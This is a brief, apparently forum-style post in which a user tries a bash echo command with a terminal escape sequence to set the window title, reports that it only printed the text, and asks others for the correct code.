bash$ echo -e "\e]2;This is the new window title\a"
2;This is the new window title
Dunno, maybe it's a different code number.
Somebody let me know...
YMMV
- OrbNobz
Finding more and more people obsequious, obstreperous, and ubiquitous.